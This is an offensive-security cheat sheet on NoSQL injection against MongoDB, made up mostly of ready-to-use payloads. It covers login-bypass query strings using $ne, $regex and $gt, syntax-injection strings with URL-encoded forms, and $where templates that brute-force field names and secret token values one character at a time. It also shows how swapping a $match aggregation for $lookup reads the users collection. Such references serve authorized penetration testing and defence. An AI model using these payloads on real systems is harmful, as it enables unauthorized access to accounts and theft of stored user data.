NoSQL Injection

Last modified: 2023-10-05

Database SQL Injection Web

NoSQL Injection is derived from SQL Injection. It affects NoSQL database such as MongoDB, Apache Cassandra.

Manual Injection

See also Web Login Bypass NoSQL Injection.

Mongo

If the web application uses MongDB, you might be able to fetch the user's information.
It allows you to bypass authentication.

/?username=admin&password[$ne]=xyz
/?username[$ne]=admin&role=guest
/?id[$gt]=1&username=john
  • Syntax

    Below are the payloads to syntax injection. Don’t forget to try the URL-encoded payloads.

    test||1==1
    test%7C%7C1%3D%3D1
    
    test||1==1//
    test%7C%7C1%3D%3D1%2F%2F
    
    test||1==1%00
    test%7C%7C1%3D%3D1%2500
    
    test||1==1\u0000
    test%7C%7C1%3D%3D1%5Cu0000
    
    test||'1==1
    test%7C%7C%271%3D%3D1
    
    test||'1'=='1'
    test%7C%7C%271%27%3D%3D%271%27
    
    test||'1'=='1
    test%7C%7C%271%27%3D%3D%271
    
    test'||1||'
    test%27%7c%7c%31%7c%7c%27
    
    <!-- Find specific fields e.g. 'password' -->
    admin' && this.password!='
    admin'+%26%26+this.password!%3d'
    
  • Operators

    # $ne: Not equal
    username[$ne]=xyz&password[$ne]=xyz
    
    # $regex: Regular expressions
    username[$regex]=.*&password[$regex]=.*
    
    # $gt: Greater than
    username[$gt]=s&password[$gt]=s
    # $lt: Lower than
    username[$lt]=s&password[$lt]=s
    
  • Operators & JSON

    To use the following payloads, set the Content-Type header to application/json in the HTTP request header.

    { "username": { "$ne": "xyz" }, "password": { "$ne": "xyz" } }
    

    Brute force parameters.

    # Brute force each character for the parameter key
    { "username": "admin", "password": "test", { "$where": "Object.keys(this)[1].match('^.{0}a.*')" }}
    { "username": "admin", "password": "test", { "$where": "Object.keys(this)[1].match('^.{0}b.*')" }}
    { "username": "admin", "password": "test", { "$where": "Object.keys(this)[1].match('^.{0}c.*')" }}
    ...
    { "username": "admin", "password": "test", { "$where": "Object.keys(this)[1].match('^.{1}a.*')" }}
    ...
    { "username": "admin", "password": "test", { "$where": "Object.keys(this)[8].match('^.{8}z.*')" }}
    
    # Brute force each character for the specific parameter value
    { "username": "admin", "password": "test", { "$where": "this.exampleToken.match('^.{0}a.*')" }
    { "username": "admin", "password": "test", { "$where": "this.exampleToken.match('^.{0}b.*')" }
    { "username": "admin", "password": "test", { "$where": "this.exampleToken.match('^.{0}c.*')" }
    ...
    { "username": "admin", "password": "test", { "$where": "this.exampleToken.match('^.{1}a.*')" }
    ...
    { "username": "admin", "password": "test", { "$where": "this.exampleToken.match('^.{8}z.*')" }
    



Retrieve Another Document (MongoDB)

If the website uses MongoDB and uses $match aggregation to fetch documents, we can change the aggregation to $lookup for joining another document and get desired information from the document.
First, check if the $match operator is used in the website.

POST /products HTTP/1.1
...

{
    "$match": {
        "sold": false
    }
}

As above, the website uses $match aggregator to fetch data from the "products" document, so we can change this as the following.
Assume both the "products" and "users" document have an "id" field.

POST /users HTTP/1.1
...

{
    "$lookup": {
        "from": "users",
        "localField": "id",
        "foreignField": "id",
        "as": "test"
    }
}

Then send this request. We can retrieve values in the "users" document.